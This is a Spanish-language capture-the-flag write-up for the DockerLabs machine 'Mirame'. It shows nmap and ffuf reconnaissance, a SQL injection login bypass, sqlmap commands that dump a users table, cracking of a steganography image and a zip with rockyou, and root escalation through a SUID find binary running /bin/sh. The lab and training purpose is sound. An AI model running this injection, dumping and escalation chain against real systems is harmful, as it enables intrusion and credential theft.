> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/mirame.md).
# đźź© Mirame
## 🕵️ Reconocimiento
Comenzamos con un escaneo de puertos con `nmap`:
```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```
Tenemos abiertos los puertos de los servicios SSH y HTTP. Realizamos un escaneo de directorios con `ffuf`:
```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```
Si entramos a `index.php`, encontramos un panel de login:
Solo de ver que el cuadro del input del usuario y contraseña están descuadrados, me atreverĂa a decir que el autor de la página se ha descuidado tambiĂ©n en el tema de inyecciones SQL, pero vamos a seguir echándole un vistazo al servicio web.
La página `page.php` muestra un cuadro donde podemos consultar el tiempo de una ciudad a través de una API.
La página `auth.php` está hecha para mandar un POST con las credenciales del login y comprobar si son correctas.
Si ponemos una `'` en el campo de usuario, salta un error SQL. No está sanitizando la entrada correctamente.
Si introducimos `' or 1=1; —` en el campo de usuario, y cualquier cosa en contraseña, nos redirecciona a la página `page.php`. Un poco raro porque esta página no requerĂa autenticaciĂłn desde un principio, es totalmente accesible, asĂ que vamos a suponer que esta página no es relevante.
## 🚪 Ganando acceso
Usando sqlmap en la página `auth.php`, podemos listar las bases de datos.
```bash
sqlmap -u "http://172.17.0.2/auth.php" --data="username=hola&password=hola" --batch --level=5 --risk=3 --dbs
```
```bash
sqlmap -u "http://172.17.0.2/auth.php" --data="username=hola&password=hola" --batch -D users --tables
```
```bash
sqlmap -u "http://172.17.0.2/auth.php" --data="username=hola&password=hola" --batch -D users -T usuarios --dump
```
ProbĂ© a tirar fuerza bruta con hydra a los usuarios que aparecen con las contraseñas, además de hacerlo tambiĂ©n con el diccionario `rockyou.txt`, y no encontrĂ© nada. Me di cuenta que `directoriotravieso` podrĂa ser un directorio oculto en la web:
Nos llevamos la imagen a nuestra máquina y la analizamos. Con `steghide` descubrimos que contiene un fichero oculto, pero tiene contraseña. Para averiguar que contraseña tiene, le hacemos un ataque de diccionario con `stegseek`:
```bash
stegseek miramebien.jpg /usr/share/wordlists/rockyou.txt
```
El zip oculto también está protegido con una contraseña. Le hacemos otro ataque de diccionario con `john`, pero antes, preparamos el hash con `zip2john`.
```bash
zip2john ocultito.zip > hash_zip.txt
```
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash_zip.txt
```
Extraemos el contenido del zip y encontramos unas credenciales:
Ahora si podemos entrar a la máquina por SSH:
## đź’Ą Escalada de privilegios
Buscamos los binarios con permisos `suid`:
Con el binario find podemos ejecutar `/bin/sh` y, al tener el bit suid activado, lo haremos como el propietario del binario (`root`):
```bash
find . -exec /bin/sh -p \; -quit
```
